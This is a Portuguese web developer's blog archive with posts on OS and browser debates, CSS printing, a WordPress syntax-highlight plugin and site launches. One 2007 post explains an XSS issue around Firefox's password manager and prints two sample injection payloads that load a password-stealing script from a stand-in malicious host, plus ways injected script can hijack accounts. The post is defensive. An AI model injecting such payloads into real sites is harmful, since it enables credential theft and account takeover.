Sites e sistemas rápidos, acessíveis, bem posicionados no Google e, o que é mais importante, fáceis de usar.

Arquivos da tag 'CSS'

Sobre Windows, Linux, paixões e times de futebol

28/08/2009

Discussões sobre o melhor sistema operacional, o melhor navegador ou a melhor linguagem de programação tendem a entrar em loop infinito. Cada um dos lados parece achar o outro um completo idiota por não se convencer de suas opiniões.

Semana passada troquei algumas mensagens com o René de Paula que me fizeram pensar bastante sobre o assunto. O René provavelmente não me conhece, mas eu tenho aprendido muito com ele nos últimos anos, principalmente em seu podcast, o Roda e Avisa. E esse post não é um desabafo "estou chateadinho". Estou citando o nome do René porque a conversa se deu no Twitter, ou seja, em público, e realmente me fez pensar.

O René recomendou esse artigo da ZDNet, analisando um estudo de segurança dos navegadores web. O artigo começa apresentando os resultados do estudo, em que o Internet Explorer ganha de lavada, e segue explicando porque, na opinião do autor, o estudo patrocinado pela Microsoft é tendencioso e irrelevante.

Respondi ao René dizendo que concordava com o artigo que ele havia indicado, que realmente o estudo era tendencioso. E usei a frase "o rei está nu." Para mim, a crônica da roupa nova do rei é uma excelente metáfora para a situação. Ele me respondeu que havia visto meu blog e que achava que havia um "viés oculto" em tudo o que eu dizia. Em seguida twittou sobre o fato de as pessoas tratarem essas discussões como se fossem sobre times de futebol. Isso me fez pensar um bocado.

Eu gosto de, numa discussão, ouvir o outro lado. Também gosto muito de lógica. Se tem uma coisa que eu vou defender numa discussão, mais do que meu time de futebol, é o bom uso da lógica. Tento nunca ser irrazoável. Sei que todos somos tendenciosos, mas sempre tento ser mais imparcial que a média.

Talvez seja o fato de a discussão ter acontecido no Twitter, meio pouco propício, mas confesso que fiquei muito preocupado com a impressão que o René teve. Quem me conhece, sabe, trabalho com Linux, Windows ou Mac, sem rabo preso, escolhendo sempre o jeito mais simples de resolver cada problema.

Cada cabeça, uma sentença

Em primeiro lugar, não há um sistema operacional "melhor" e outro "pior". Há um "melhor para você". O fato de aquele seu amigo usuário de Windows não ter enxergado ainda que o Linux é o melhor sistema operacional do mundo talvez seja porque, para o perfil de uso dele, o Windows seja realmente o melhor sistema operacional.

Dificilmente eu tento convencer alguém a usar exclusivamente Linux. Sempre tento convencer as pessoas a experimentar. Se o sujeito me diz que é um heavy gamer, por exemplo, recomendo o uso de Windows. Sei, o Wine está muito evoluído e tal, mas se ele tem dinheiro para pagar as licenças e pode rodar a versão mais nova de cada jogo no ambiente em que ele foi feito para rodar, por que complicar?

Sim, não me esqueci, para certos perfis de uso, Mac OS X também é um sistema fantástico. Estou quase comprando um para minha mulher.

Existem, porém, padrões absolutos

O fato de não existir uma solução "bala de prata" e a paixão que costuma cercar essas discussões têm levado muita gente, principalmente programadores, a uma posição morna tão irrazoável quanto os extremos. É comum ouvir frases como "a melhor linguagem é aquele com a qual você sabe trabalhar" ou "a melhor ferramenta é a que resolve seu problema."

Acredito sim que há casos de uso os mais variados. Mas, dentro de determinado caso de uso, há métricas objetivas que você pode usar para dizer o que é melhor. Falando em linguagem de programação, por exemplo, a melhor não é aquela que faz você se "sentir bem". A não ser que programar para você seja só um hobby, a melhor é aquela que vai te permitir resolver mais rápido o problema do cliente, com a qualidade e a performance necessárias.

Dado um determinado problema do cliente, e uma determinada métrica de performance, deve ser possível apontar a melhor linguagem para essa situação.

Que problema seu software se propõe a resolver?

Se você é desenvolvedor de software, é importante entender isso. Você dificilmente vai encontrar uma oportunidade de desenvolver um produto que é o melhor para todo mundo. Não há unanimidades.

Você pode desenvolver algo que é o melhor para a maioria, pode achar uma minoria endinheirada, ou pode desenvolver algo legal para você mesmo e torcer para que haja gente parecido com você lá fora.

Mas, se você tentar ouvir todas as sugestões que receber e superar os concorrentes em absolutamente todos os perfis de uso, nunca vai terminar de desenvolver.

Mente aberta

Na Visie hoje temos 7 máquinas Windows, 6 Linux e 3 Macs. Sem contar as VMs, o ambiente de testes, e os servidores onde estão hospedadas as aplicações. Desenvolvedor, abra sua mente. Aprenda uma linguagem de programação nova, experimente outro sistema operacional, teste outra solução. Você vai aprender muito.

Aprenda Python, Ruby, Haskell ou Scala. Isso vai tornar você um melhor programador PHP, Java ou .Net. Desenvolva um projeto com uma banco de dados não relacional (estou usando MongoDB em um projeto.) Se você ama Wordpress, faça alguma coisa com Joomla, e vice-versa. Tente outro framework, outro editor, outro jeito.

Sobre navegadores

No dia seguinte a essa conversa estive no escritório do W3C Brasil, assistindo ao Café com Browser com o pessoal do Internet Explorer.

Eles passaram boa parte do tempo falando sobre os recursos do navegador para o usuário final. Coisas como abas (oh!) e favoritos mais legais, webclips, processos independentes em cada aba, melhorias de performance e segurança. Tudo muito interessante mas, eu acho, apresentado para o público errado. Estávamos dentro do W3C, afinal de contas. Queríamos saber sobre as melhorias para o desenvolvedor.

Ao final, a palestra sobre melhorias para o desenvolvedor foi, para mim, parte surpreendente, parte decepcionante. Me surpreendi principalmente pela reação dos desenvolvedores no Twitter. Muita gente não conhecia as developer tools do IE8, ou os modos de compatibilidade, por exemplo. Quando foi apresentado o querySelector, muita gente twittou revoltada, porque a Microsoft estava "inventando um novo jeito proprietário de fazer as coisas". Gente, o querySelector é uma recomendação do W3C (está em Working Draft, mas está lá.)

A parte decepcionante, expressei em minha pergunta:

Em suma, não tenho ódio da Microsoft ou de quem quer que seja. Não quero que o Internet Explorer suma do mapa. Ainda tenho projetos em ASP, VB e .Net, e sou feliz com isso. Só quero poder desenvolver uma vez só minhas aplicações. Quero não ter que cobrar do cliente pelo custo de fazê-la funcionar no Internet Explorer. Quero entregar mais rápido aplicações melhores, mais estáveis, com menos código.

Palestra: construa seu validador de formulários

26/05/2008

Algumas pessoas têm me escrito perguntando como extender o validador de formulários universal que publiquei há algum tempo. O manual do programador é um excelente recurso para isso.

Mas você que é de São Paulo, tem a oportunidade de ver tudo funcionando ao vivo. Nessa quinta-feira, na palestra "Formulários Definitivos", vou construir um validador igualzinho a esse do zero, explicando cada conceito e o porquê de cada decisão no projeto.

Isso, entre outras coisas. Você também pode conferir o programa da palestra, e até quem sabe ganhar um ingresso grátis.

Novo Tableless

06/12/2007

O Diego colocou no ar agora há pouco: www.tableless.com.br

Layout[bb] novo. Eu gostei bastante.

ClientSide: mostre seu código

04/12/2007

Está lançado: clientside.com.br.

É um site para falar sobre Javascript, Ajax, CSS, XHTML[bb]. Mas não é um site para opinião e recomendações, é um lugar para você ler sobre código, ler código, e colaborar. O site é aberto ao cadastro e colaboração dos usuários, embora todos os artigos devam ser aprovados pelos editores. Entenda a política do site.

Se você já possui um blog ou site sobre o assunto, pode publicar seus artigos em seu próprio site e apenas um link com um breve comentário no ClientSide. Só não faça isso com cada um dos seus posts, apenas com os melhores. Não é um agregador. Se fosse, eu teria feito para funcionar sozinho. É um site onde você vai ler conteúdo especial, focado no assunto, que foi selecionado por seres humanos de um jeito que as máquinas (ainda) não sabem fazer.

EyeOS

02/08/2007

Ei, está legal isso aqui: http://www.eyeos.info/

Não é útil, mas dá uma boa idéia a respeito do que é possível fazer.

Falha no Password Manager do Firefox?

25/07/2007

Veja como essa notícia no Terra explica mal as coisas e espalha o terror:

A versão mais recente do navegador Firefox, a 2.0.0.5, possui uma falha em seu gerenciador de senhas que pode permitir o acesso a elas por sites maliciosos. O problema só se manifesta se o Javascript[bb] e o gerenciador de senhas estiverem acionados - o que é o padrão. Conforme o site Linux.com, a falha pode ser explorada com truques bastante antigos como o cross-site scripting, pequeno programa em um site que manipula objetos na máquina do usuário ou em outro site.

Quem tomar tempo para ler o anúncio da falha vai entender melhor. A falha não é no Password Manager. É uma falha de script-injection e XSS (cross-site scripting). Vou explicar em detalhes: se você tem um site em que os usuários inserem conteúdo, deve tomar cuidado para que eles não insiram javascript no conteúdo. Por exemplo, se os usuários cadastram uma descrição pessoal em seus perfis, e você simplesmente imprime esta descrição, corre sérios riscos. Alguém pode escrever, em sua descrição, algo como:

<script src="http://meusitemalicioso.com/scriptsqueroubamsenhas.js"></script>

Naturalmente, isso é muito perigoso! Não basta bloquear a tag script, você precisa se certificar de que o usuário não insira javascript na página de forma alguma. Por exemplo:

<img src="imagemqualquer.gif"
onload="document.getElementsByTagName('script')[0].src='http://meusitemalicioso.com/scriptsqueroubamsenhas.js'" />

Ou seja, é sua obrigação se certificar de que seus usuários não podem inserir javascript em nenhuma página de seu site. Isso porque o modelo de segurança do javascript está baseado na origem do script. Scripts numa página podem acessar qualquer coisa dentro daquele domínio. Então, se você permite que seus usuários usem a técnica acima, eles podem fazer com que os usuários que acessarem o perfil/post/comentário malicioso:

  1. Tenham suas contas canceladas. Basta que o script crie um iframe oculto, carregue a URL de cancelamento de conta nele, aguarde alguns segundos e clique no botão "Sim, eu tenho certeza"
  2. Tenham suas senhas modificadas. De novo, no frame oculto. Carregando o formulário de mudança de senha, preenchendo e submetendo. Se não houver validação de referer, isso pode ser feito inclusive sem o iframe, usando o objeto XMLHTTPRequest (via Ajax[bb]).
  3. Enviem mensagens para todos os usuários do site, transfira todas as suas comunidades para um determinado perfil, veja o site em cor de rosa com uma foto do Reginaldo Rossi no logo e o que mais o agressor quiser.

Tudo o que eu descrevi acima funciona em qualquer navegador. Não se trata de uma falha no navegador, mas de uma falha no site. Bom, o que o pessoal da heise descobriu é que um agressor pode criar um formulário de login falso, e se você salvou a senha daquele site o Firefox, o Safari e o Konqueror vão preencher o formulário automaticamente. E esse formulário pode ser lido pelo script do agressor. Ora, o sujeito pode virar o site de ponta cabeça, claro que também pode acessar o formulário de login! E isso só não funciona no IE porque ele não tem um password manager ;-)

Ou seja, a falha não é do Firefox, mas do site, que permite acesso irrestrito ao atacante. É um site em que você não deveria confiar, que você não deveria acessar, ou pelo menos não deveria acessar com a mesma senha do seu cartão do banco. O fato de um navegador não ter password manager não vai tornar o site mais seguro. A conclusão a que chega o pessoal da heise:

Da perspectiva dos usuários, significa que eles não deveriam confiar suas senhas ao password manager em sites que permitem aos usuários criar suas próprias páginas contendo scripts.

Grande coisa! Você não deveria confiar, de maneira nenhuma, em sites que permitem aos usuários criar suas próprias páginas contendo scripts. Não é só seu password manager que está em risco, e não importa que navegador você está usando.

CSS de impressão no fechaTag

06/07/2007

Acabo de criar um CSS de impressão para este blog. Levei uns dez minutos.

O código ficou assim:

form,#sidebar,iframe,#otop,#respond,.navigation,.rec6,.linkk{
display:none;
}
h2{
margin:0;
}
.entry{
line-height: 150%;
}
#header h1{
margin:0;
padding:0;
font-size:24px;
}
#header .description{
padding:0;
}
h2{
padding:40px 0 0;
margin:0;
}

E o resultado:

Em suma: você esconde tudo o que não pode ser usado ou não faz sentido no papel (menus, formulários, etc.) e tenta não atrapalhar o usuário. Aliás, não dá para fazer muito mais do que isso. Os mecanismos de impressão dos navegadores foram feitos para simplificar as páginas e economizar tinta.

Fácil, não?

Imite o Mac OS X você também

11/05/2007

Dashboard, Exposè, estilo Aqua, tudo já foi copiado no elegante Mac OS X. Mas a marca registrada do sistema ainda é o Dock. Há uma porção de cópias interessantes para o Dock em diversos ambientes. Mas, com javascript e CSS, eu nunca tinha visto uma razoável. Até que vi essa aqui. Veja esse Dock rodando nesse exemplo.

Muito bom. Tanto o código quanto o resultado visual.

Ah, se você tiver um tempinho para estudar o código, vai passar a odiar um pouquinho mais o Internet Explorer ;-)

Desafio dos 4KB

26/03/2007

Momento Jabá: Quanta coisa você consegue fazer com apenas 4KB?

Crie uma página que faça algo impressionante com apenas 4KB de código. Pode usar HTML válido ou inválido, XML, Javascript, CSS e o que mais você quiser, desde que esteja tudo em uma única página. Nada de Flash, imagens externas, scripts externos ou Ajax. O resultado pode ser o que você quiser, desde que seja impressionante. Pode também funcionar apenas no Firefox, se você preferir. Afinal, você vai programar só por diversão.

Inclua a frase "Visie, ensinando os melhores", publique em algum lugar e envie o link para a gente. Vamos mostrar para o pessoal da Visie e ouvir o "Uau!" da galera. A página que conseguir o maior número de decibéis na reação dos espectadores, a mais impressionante, a mais surpreendente, vai ganhar um curso online de Javascript Crossbrowser da Visie, para você ou para doar para alguém.

Para que todos possamos ver os trabalhos, deixe um comentário aqui com o link para o seu. Você tem até sexta-feira, às 11h da manhã para enviar seus impressionantes 4KB de código. Vamos começar a avaliação na sexta-feira ao meio-dia, e a hora em que vai sair o resultado depende da quantidade de participantes.

Vamos mostrar para esse pessoal boboca por aí que programar[bb] é muito mais divertido que ficar escrevendo frasezinhas de efeito.

Divirtam-se!

Google Code Prettify.

23/03/2007

Agora este blog tem syntax highlight para os trechos de código que eu escrevo, por exemplo:

function Pessoa(nome,idade,email){
// Para criar as propriedades da classe usamos a palavra-chave this
this.nome=nome
this.idade=idade
this.email=email
// Não existe, em javascript, o conceito de método. Um método é uma
// propriedade como outra qualquer, cujo valor é uma função e,
// portanto, é executável.
this.digaOi=function(){
alert("Oi, eu sou "+this.nome+"!")
}
}

Levei dez minutos para fazer isso. Baixei e instalei a Google Code Prettify e escrevi um plugin do Wordpress para adicionar a classe prettyprint a todas as minhas tags <code> e estava feito.

Instruções detalhadas:

Primeiro baixe esses dois arquivos e coloque-os em seu site. Pode ser no diretório raiz. Em seguida inclua no head de suas páginas:


<link href="prettify.css" type="text/css" rel="stylesheet" />
<script type="text/javascript" src="prettify.js"></script>

Você pode alterar o prettify.css para que fique com as cores que você desejar.

O passo seguinte é colocar onload="prettyPrint()" na tag body.

Agora é só substituir suas tags <pre> e <code> por <pre class="prettyprint"> e <code class="prettyprint">. Pronto, está funcionando.

Wordpress

No Wordpress você pode alterar o head de sua página e incluir o onload no body no editor de templates, editando o arquivo Header. Para incluir a classe em todas as suas tags code pode copiar o plugin abaixo:


<?php
/*
Plugin Name: Prettify
Version: 1.0
Plugin URI: http://blog.elcio.com.br/google-code-prettify/
Description: Prepares your code snippets to <a href="http://code.google.com/p/google-code-prettify/">Google Code Prettify</a>, adding class="prettyprint" to them.
Author: Elcio Ferreira
Author URI: http://blog.elcio.com.br
*/
function prettify($text) {
return str_replace('<code>','<code class="prettyprint">',$text);
}
add_filter('the_content', 'prettify');
add_filter('the_excerpt', 'prettify');
add_filter('comment_text', 'prettify');
?>

Você pode baixar esse plugin aqui.

Ajax 3D

22/03/2007

Caramba, olha isso!

O treco não foi feito com OpenGL ou DirectX, os objetos são implementados com a tag canvas e os cálculos de 3D[bb] são feitos pelo próprio Javascript. Definitivamente, temos poder de processamento sobrando hoje em dia.

inspiração para seus menus

08/03/2007

Aqui e aqui.

Esse aqui pode ser inútil, mas é impressionante.

Bonito de se ver especial

17/01/2007

Ahá, não é só o Diego quem pode recomendar sites bonitos!

World's Worst Web

Muito, muito instrutivo. Se você não entende nada de webdesign, precisa acessar!

Microsoft quebra a renderização de e-mails HTML no Outlook 2007

12/01/2007

Microsoft Breaks HTML Email Rendering in Outlook 2007:

The limitations imposed by Word 2007 are described in detail in the article, but here are a few highlights:

  • no support for background images (HTML or CSS)
  • no support for forms
  • no support for Flash[bb], or other plugins
  • no support for CSS floats
  • no support for replacing bullets with images in unordered lists
  • no support for CSS positioning
  • no support for animated GIFs

In short, unless your HTML emails are very, very simple, you’re going to run into problems with Outlook 2007, and in most cases the only solution to those problems will be to reduce the complexity of your HTML email design to accommodate Outlook’s limited feature set.

Mais um motivo para você preferir e-mails TXT.

Roupa Nova

12/01/2007

Atenção, leitores de feed, estou há uma semana de layout novo! Eu que fiz.